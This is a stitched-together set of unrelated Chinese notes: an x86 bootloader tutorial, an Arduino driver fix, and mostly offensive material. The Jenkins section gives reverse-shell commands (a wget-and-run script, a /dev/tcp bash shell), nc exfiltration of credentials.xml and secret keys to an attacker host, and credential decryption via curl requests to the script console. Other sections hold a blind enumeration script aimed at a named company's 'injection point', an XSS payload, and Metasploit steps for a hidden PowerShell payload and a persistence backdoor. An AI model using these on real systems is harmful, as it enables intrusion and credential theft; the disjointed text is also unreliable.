;启动扇区加载用户程序

app_lba_start equ 100               ;一会会将程序放在硬盘的100扇区

SECTION mbr align=16 vstart=0x7c00      ;mbr段声明,16字节对齐,初始地址7c00

;设置堆栈段和栈指针
mov ax,0
mov ss,ax
mov sp,ax

mov ax,[cs:phy_base]                ;phy_base保存的是一个32位地址,所以需要用两个寄存器存放
mov dx,[cs:phy_base+0x02]
mov bx,16
div bx
mov ds,ax                           ;十六进制左移1位,实际上是除以了16
mov es,ax                           ;将ds和es都设置成计算出的phy_base的段地址

xor di,di
mov si,app_lba_start                ;程序在硬盘上的第一个逻辑扇区号
xor bx,bx                           ;bx清零
call read_hard_disk_0               ;加载程序到DS:0x0000处

;以下判断整个程序有多大
mov dx,[2]                          ;ds:0x0002处保存的值,是用户程序声明的用户程序大小
mov ax,[0]                          ;ds:0x0000处保存的值,这时ds依然是定义的phy_base段地址
mov bx,512                          ;512每个扇区
div bx                              ;看看占了几个扇区
cmp dx,0                            ;除尽了没有
jnz @1                              ;没除尽,跳到@1
dec ax                              ;除尽了,余数ax减一,因为已经预读了一个扇区
@1:
cmp ax,0                            ;有可能长度本来就不够一个扇区,这时ax为0,所以用jz
jz direct                           ;跳到读完操作

;读取剩余扇区
push ds                             ;保存ds,因为程序传参要用ds

mov cx,ax                           ;循环次数(剩余扇区数)
@2:
mov ax,ds
add ax,0x20                         ;如果容纳不下,那就加个0x20的段间距,这样多了0x200=512
mov ds,ax

xor bx,bx
inc si                              ;下一个逻辑扇区
call read_hard_disk_0
loop @2

pop ds                              ;恢复数据段基址ds到用户程序头部段

;计算入口点代码段基址
direct:
mov dx,[0x08]                       ;此时为何是0x06和0x08?因为取的是user的section.code_1.start
mov ax,[0x06]                       ;这是一个双字地址,所以dx存高位ax存低位
call calc_segment_base
mov [0x06],ax                       ;将真正的用户代码入口的基地址写回到用户头中

;开始处理段重定位表
mov cx,[0x0a]                       ;需要重定位的个数,这里用户头部的0x0a是段重定位表项数
mov bx,0x0c                         ;把基地址定在0x0c,这里是段重定位表格的开头地址

realloc:
mov dx,[bx+0x02]                    ;32位地址的高16位
mov ax,[bx]                         ;32位地址的低16位
call calc_segment_base              ;重定位段
mov [bx],ax                         ;写回重定位后的地址
add bx,4                            ;下一个重定位项(每项4字节)
loop realloc

jmp far [0x04]                      ;跳转到用户程序

;---------------------------------------------
read_hard_disk_0:                      ;从硬盘读取一个逻辑扇区

push ax                             ;输入:DI:SI=起始逻辑扇区号
push bx                             ;DS:BX=目标缓冲区地址
push cx
push dx

mov dx,0x1f2                        ;0x1f2是保存要读取的扇区数量的端口
mov al,1
out dx,al

inc dx                              ;0x1f3
mov ax,si                           ;si传参100,0x1f3存储0-7位
out dx,al                           ;表示要读写的扇区

inc dx
mov al,ah                           ;0x1f4
out dx,al                           ;LBA地址 15-8

inc dx                              ;0x1f5
mov ax,di                           ;LBA地址23-16
out dx,al                           ;di传参为0

inc dx                              ;0x1f6
mov al,0xe0                         ;LBA28模式,主盘
or al,ah                            ;LBA地址27-24
out dx,al                           ;这里用or是因为LBA28模式设定是前四位,后四位还是扇区

inc dx                              ;0x1f7
mov al,0x20                         ;读命令
out dx,al

.waits:
in al,dx                            ;0x1f7
and al,0x88                         ;第8位表示硬盘忙,第4位表示已做好准备传输10001000
cmp al,0x08                         ;00001000表示可以传输了
jnz .waits                          ;硬盘是否不繁忙且已经准备好传输数据,否则继续等待

mov cx,256                          ;读256次
mov dx,0x1f0                        ;0x1f0是硬盘接口的数据接口

.readw:
in ax,dx                            ;读数据
mov [bx],ax                         ;将数据写到ds:bx所在的位置
add bx,2                            ;偏移两个读写下一个数据
loop .readw

pop dx
pop cx
pop bx
pop ax

ret

;--------------------------------------------
calc_segment_base:                      ;计算16位段地址
;输入:DX:AX=32位物理地址,dx=0x08 ax=0x06
;返回:ax=16位段基地址
push dx

add ax,[cs:phy_base]                ;取用户程序基址+06,也就是用户程序定义的段地址
adc dx,[cs:phy_base+0x02]           ;adc带进位的加法,基址+08,也就是用户程序定义的,这里取高位
shr ax,4                            ;0x0000,右移四位,ax存储低16位,dx高4位,总共20位地址
ror dx,4                            ;0x0001,循环右移四位 0x1000
and dx,0xf000                       ;低12位我们不需要,and取高四位
or ax,dx                            ;or得到结果0x1000

pop dx                              ;恢复现场,ax为返回值

ret

;----------------------------------------------
phy_base dd 0x10000                 ;用户程序被加载的物理起始地址

times 510-($-$$) db 0
db 0x55,0xaa

用户代码:

;===============================================================================
SECTION header vstart=0                     ;定义用户程序头部段
program_length  dd program_end          ;程序总长度[0x00]

;用户程序入口点
code_entry      dw start                ;偏移地址[0x04]
dd section.code_1.start ;段地址[0x06]

realloc_tbl_len dw (header_end-code_1_segment)/4
;段重定位表项个数[0x0a]

;段重定位表
code_1_segment  dd section.code_1.start ;[0x0c]
code_2_segment  dd section.code_2.start ;[0x10]
data_1_segment  dd section.data_1.start ;[0x14]
data_2_segment  dd section.data_2.start ;[0x18]
stack_segment   dd section.stack.start  ;[0x1c]

header_end:

;===============================================================================
SECTION code_1 align=16 vstart=0         ;定义代码段1(16字节对齐)
put_string:                              ;显示串(0结尾)。
;输入:DS:BX=串地址
mov cl,[bx]
or cl,cl                        ;cl=0 ?
jz .exit                        ;是的,返回主程序
call put_char
inc bx                          ;下一个字符
jmp put_string

.exit:
ret

;-------------------------------------------------------------------------------
put_char:                                ;显示一个字符
;输入:cl=字符ascii
push ax
push bx
push cx
push dx
push ds
push es

;以下取当前光标位置
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
in al,dx                        ;高8位
mov ah,al

mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
in al,dx                        ;低8位
mov bx,ax                       ;BX=代表光标位置的16位数

cmp cl,0x0d                     ;回车符?
jnz .put_0a                     ;不是。看看是不是换行等字符
mov ax,bx                       ;此句略显多余,但去掉后还得改书,麻烦
mov bl,80
div bl
mul bl
mov bx,ax
jmp .set_cursor

.put_0a:
cmp cl,0x0a                     ;换行符?
jnz .put_other                  ;不是,那就正常显示字符
add bx,80
jmp .roll_screen

.put_other:                             ;正常显示字符
mov ax,0xb800
mov es,ax
shl bx,1
mov [es:bx],cl

;以下将光标位置推进一个字符
shr bx,1
add bx,1

.roll_screen:
cmp bx,2000                     ;光标超出屏幕?滚屏
jl .set_cursor

mov ax,0xb800
mov ds,ax
mov es,ax
cld
mov si,0xa0
mov di,0x00
mov cx,1920
rep movsw
mov bx,3840                     ;清除屏幕最底一行
mov cx,80
.cls:
mov word[es:bx],0x0720
add bx,2
loop .cls

mov bx,1920

.set_cursor:
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
mov al,bh
out dx,al
mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
mov al,bl
out dx,al

pop es
pop ds
pop dx
pop cx
pop bx
pop ax

ret

;-------------------------------------------------------------------------------
start:
;初始执行时,DS和ES指向用户程序头部段
mov ax,[stack_segment]           ;设置到用户程序自己的堆栈
mov ss,ax
mov sp,stack_end

mov ax,[data_1_segment]          ;设置到用户程序自己的数据段
mov ds,ax

mov bx,msg0
call put_string                  ;显示第一段信息

push word [es:code_2_segment]
mov ax,begin
push ax                          ;可以直接push begin,80386+

retf                             ;转移到代码段2执行

continue:
mov ax,[es:data_2_segment]       ;段寄存器DS切换到数据段2
mov ds,ax

mov bx,msg1
call put_string                  ;显示第二段信息

jmp $

;===============================================================================
SECTION code_2 align=16 vstart=0          ;定义代码段2(16字节对齐)

begin:
push word [es:code_1_segment]
mov ax,continue
push ax                          ;可以直接push continue,80386+

retf                             ;转移到代码段1接着执行

;===============================================================================
SECTION data_1 align=16 vstart=0

msg0 db '  This is NASM - the famous Netwide Assembler. '
db 'Back at SourceForge and in intensive development! '
db 'Get the current versions from http://www.nasm.us/.'
db 0x0d,0x0a,0x0d,0x0a
db '  Example code for calculate 1+2+...+1000:',0x0d,0x0a,0x0d,0x0a
db '     xor dx,dx',0x0d,0x0a
db '     xor ax,ax',0x0d,0x0a
db '     xor cx,cx',0x0d,0x0a
db '  @@:',0x0d,0x0a
db '     inc cx',0x0d,0x0a
db '     add ax,cx',0x0d,0x0a
db '     adc dx,0',0x0d,0x0a
db '     inc cx',0x0d,0x0a
db '     cmp cx,1000',0x0d,0x0a
db '     jle @@',0x0d,0x0a
db '     ... ...(Some other codes)',0x0d,0x0a,0x0d,0x0a
db 0

;===============================================================================
SECTION data_2 align=16 vstart=0

msg1 db '  The above contents is written by LeeChung. '
db '2011-05-06'
db 0

;===============================================================================
SECTION stack align=16 vstart=0

resb 256

stack_end:

;===============================================================================
SECTION trail align=16
program_end:

转自http://www.rinige.com/index.php/archives/894/

入口

通常碰到 Jenkins 未授权并且拥有 Overall/RunScripts 权限时可以在 Script 控制台执行命令反弹 Shell:

println "wget http://www.rinige.com/back.py -P /tmp/".execute().text
println "python /tmp/back.py 192.168.1.3 8080".execute().text

back.py 里的 HISTFILE 会去掉各种 History 记录,且不需要 root 权限

或者使用 Groovy 脚本,这里使用的是 pentestmonkey 的 Java reverse shell:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

凭证提取

如果用户不是 root 没有 sudo 权限的情况下就可以通过提取 Jenkins 保存的用户或者其他节点凭证来获取 root 权限或者别的节点权限

jenkins_1.png

通常需要获取三个文件:master.keyhudson.util.Secret还有credentials.xml

这三个文件都在 Jenkins 安装目录,默认是/opt/jenkins

nc 传输文件:

root@jenkins:/opt/jenkins # nc -w3 192.168.1.3 5000 < credentials.xml
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < master.key
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < hudson.util.Secret

root@kali:~# nc -l -p 5000 > credentials.xml
root@kali:~# nc -l -p 5000 > master.key
root@kali:~# nc -l -p 5000 > hudson.util.Secret

Script 控制台获取credentials.xml文件:

Windows

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

*nix

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

文件内容示例:

credentials.xml

<?xml version =' 
1.0'encoding  ='UTF-8'?> <com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin = “credentials@1.9.4” > 
  <domainCredentialsMap  class = “hudson.util.CopyOnWriteMap $ Hash” > 
    <entry> 
      <com.cloudbees.plugins.credentials.domains.Domain> 
        <specifications /> 
      </com.cloudbees.plugins.credentials.domains.Domain> 
      <java.util.concurrent.CopyOnWriteArrayList> 
        <com.cloudbees.plugins .credentials.impl.UsernamePasswordCredentialsImpl> 
          <scope> GLOBAL </ scope> 
          <id> cd940f20-1697-4052-8b8b-e47c058b5390 </ id> 
          <description> </ description> 
          <username> admin</ username> 
          <password> VHWeSi8aTjIHIObYWyNw / 4hrqydpYESwI1JWfmBQNdI = </ password> 
        </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> 
      </java.util.concurrent.CopyOnWriteArrayList> 
    </ entry> 
  </ domainCredentialsMap>

hudson.util.Secret

[root @ localhost secrets]#cat hudson.util.Secret | hexdump -C
00000000 de 03 88 1c 89 df 74 7a 3d f0 00 27 dc 9b e1 a3 | ...... tz = ..'.... |
00000010 e0 61 1d 99 30 31 91 95 e3 3b 2f 6d 8c a8 1f 4d | .a..01 ...; / m ... M |
00000020 38 b6 eb 20 13 27 38 e7 5b 93 09 e5 91 04 b8 53 | 8 .. .8。[...... S |
00000030 df 64 68 75 39 47 3a 2b 2a 17 69 64 ee bc 75 7b | .dhu9G:+ *。id..u {|
00000040 07 5f a1 e9 69 a2 d8 23 9f ad 6b 4d eb db 91 c5 | .. .. .. .. .. kM .... |
00000050 24 06 6b bc 3c d7 4f 16 e3 ab 95 19 72 f0 75 e7 | $ .k。<。O ..... ru |
00000060 c1 6c 2c 9d 0f 3f 06 99 4e 9f b4 50 12 44 91 1c | .l,..?.. N..PD。|
00000070 35 78 3c c3 cd 1a 2a 77 6e b5 90 4e 7d eb 3c f6 | 5x <... * wn..N}。<。|
00000080 fd c9 53 9e 6f 69 73 02 7b f8 dc 72 f2 60 12 cc | ..S.ois。{.. r.` .. |
00000090 ae df 4a 10 65 23 bb 34 36 db 7c 38 f0 a6 fc a3 | ..Je#.46。| 8 .... |
000000a0 24 d2 b6 a5 28 b9 58 f8 40 45 0f 83 39 5e da b4 | $ ...(。X. @ E..9 ^ .. |
000000b0 5d 93 f0 8f 33 06 bd af 47 b9 d0 b1 ec 26 39 ef |] ... 3 ... G ....&9. |
000000c0 53 25 6a d8 ce c6 ec a5 26 5b ee 85 20 df 63 4d | S%j .....&[.. .cM |
000000d0 f7 f4 94 33 c4 8e 3d 82 ad a9 45 4e be 3e dc 0e | ... 3 .. = ... EN。> .. |
000000e0 1e d9 49 47 36 3d 38 f3 eb 29 22 22 0c c9 b5 0a | ..IG6 = 8 ..)“”.... |
000000f0 68 a0 e4 0d 0d 5b 99 08 3f 4e 03 8a 70 78 7c a7 | h .... [..?N..px |。|
00000100 28 6a a7 93 8b 23 10 54 dd 49 6f f5 67 f4 9c 3c |(j ...#。T.Io.g .. <|
00000110
[root @ localhost secrets]#wc hudson.util.Secret 
  1 7 272 hudson.util.Secret

master.key

6fa18d9aaac920b016d119b76de75251f472ec6f44734533d64eeb5de794f1ca33108a7a7c853a3acf084184e3e93ff98484d668a32d16f810cce970f93c750da0b785cb25527384acab38015c1a3e180a342b807f724da01f3e94584ac60651dc7f1958f3e2c6ed1a16990cbbcc361c82e3b65e96f435173ea67b7255d6810f

解密

Jenkins 使用master.key来加密hudson.util.Secret密钥,hudson.util.Secret又用于加密credentials.xml中的密码。使用的加密算法为AES-128-ECB

1.Script 控制台执行:

println( hudson.util.Secret.decrypt("${ENCRYPTED_PASSPHRASE_OR_PASSWORD}") )

或者

hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

2.Python 脚本:

有国外的安全研究员公开了解密脚本:

https://github.com/tweksteen/jenkins-decrypt

https://gist.github.com/carnal0wnage/80611a9c035046b2d400d90303355ff0#file-decrypt-py

root@kali:~/jenkins-decrypt# python decrypt.py master.key hudson.util.Secret credentials.xml
  • Curl

http://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html

Windows:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run

*nix

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

获得 root 权限之后就可进行横向渗透等操作

参考

#coding=utf8
import json
import threading,time
import gzip
import msgpack
import urllib
import urllib2
import tarfile

result = “”;
f = open(“data.txt”,”w”)
#MyThread.py线程类
class MyThread(threading.Thread):
def init(self, func, args=()):
super(MyThread, self).init()
self.func = func
self.args = args

def run(self):
time.sleep(2)
self.result = self.func(*self.args)

def get_result(self):
threading.Thread.join(self) # 等待线程执行完毕
try:
return self.result
except Exception:
return None

def request(surestr):#只发包
try:
url = “http://华为分站注入点/”
values = {“reason”:””,”coopAccount”:surestr, “activateType”:”p@sswordReset”}
#print “Test:”+surestr
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
res_data = urllib2.urlopen(req)
res = res_data.read()
if res_data.getcode() == 200:
return surestr+”|”+str(len(res))
except urllib2.HTTPError, err:
print(err.code)
print(err.read())
raise

def enum(surestr):#遍历发包,调整字符串
global result
enumchars = “qwertyuioplkjhgfdsazxcvbnm-_123456789.@()”
tp = []
if surestr == “*”:
surestr = “”
for chars in enumchars:
mt = MyThread(request, ((surestr+chars+”*”),))
#print “StartThread:request(“+surestr+chars+”*”+”)”
tp.append(mt)
mt.start()

flag = 0
for t in tp:
t.join()
retcode = t.get_result()
rc = retcode.split(‘|’)
if rc[1] != “53”:
print (“\rGot:”+rc[0]),
enum(rc[0].strip(‘*’))
flag = 1
else:
continue
if flag == 0:
print “\rComplete:”+surestr
result=result+surestr+”\n”

print enum(“*”)
f.write(result)
f.close()

设置代理:

nano /etc/bashrc
ftp_proxy=”http://192.168.10.209:3128″
http_proxy=”http://192.168.10.209:3128″
https_proxy=”http://192.168.10.209:3128″

no_proxy=”localhost,127.0.0.1,192.168.10.0/24″
export ftp_proxy
export http_proxy
export https_proxy
export no_proxy

base64解码+转换为16进制显示:

echo “base64string”|base64 -d|od -x
od命令用于将文件或输入流转换进制显示

https://xss-game.appspot.com/level6第六关卡住了,要调用外界js应该是最后的解决方法,网上搜答案发现可以用

#data:text/javascript,alert('behindthefirewalls')构造出

<script src="data:text/javascript,alert('behindthefirewalls')"></script>
这样是可以执行的
data:text/....这是DATA URI Scheme
https://en.wikipedia.org/wiki/Data_URI_scheme 

use exploit/multi/handler
set PAYLOAD (OS)/meterpreter/...

SET生成powershell:

setools

》social。。。
》1

设置HOST为metasploit服务器地址
PORT为不冲突的端口

肉鸡运行脚本:

powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand  加上SET生成的代码

提权

getsystem

持久后门:

run persistence -X -i 5 -p 2777 -r metasploit服务器地址

系统找不到指定文件


如果你使用的是精简版windows系统,安装Arduino驱动时,可能会遇到”系统找不到指定文件”这个问题,如下图:
 


这是因为精简版的window系统删掉了一些不常用的驱动信息引起的,解决方法如下:

1.首先打开C:\windows\inf\setupapi.dev.log 
这个文件包含了有关即插即用设备和驱动程序安装的信息,当然它也记录你Arduino驱动安装失败的原因。
打开该文件,滚动到文件末尾附近,你可以看到如下信息:
 
正是这个文件缺失,致使你的Arduino驱动无法安装。

2.在 C:\Windows\System32\DriverStore\FileRepository\ 路径下,新建一个mdmcpq.inf_x86_neutral_********文件夹
每台电脑后面的标示不一样,*******具体是什么请参照上面setupapi.dev.log文件给出的提示信息。
例如,我这台电脑给出的信息为
C:\Windows\System32\DriverStore\FileRepository\mdmcpq.inf_x86_neutral_9f203c20b6f0dabd
根据该提示,我在C:\Windows\System32\DriverStore\FileRepository\ 路径下,建立了一个同名文件夹,如下
 

下载usber.sys放进去

http://pan.baidu.com/s/1i4FEkAT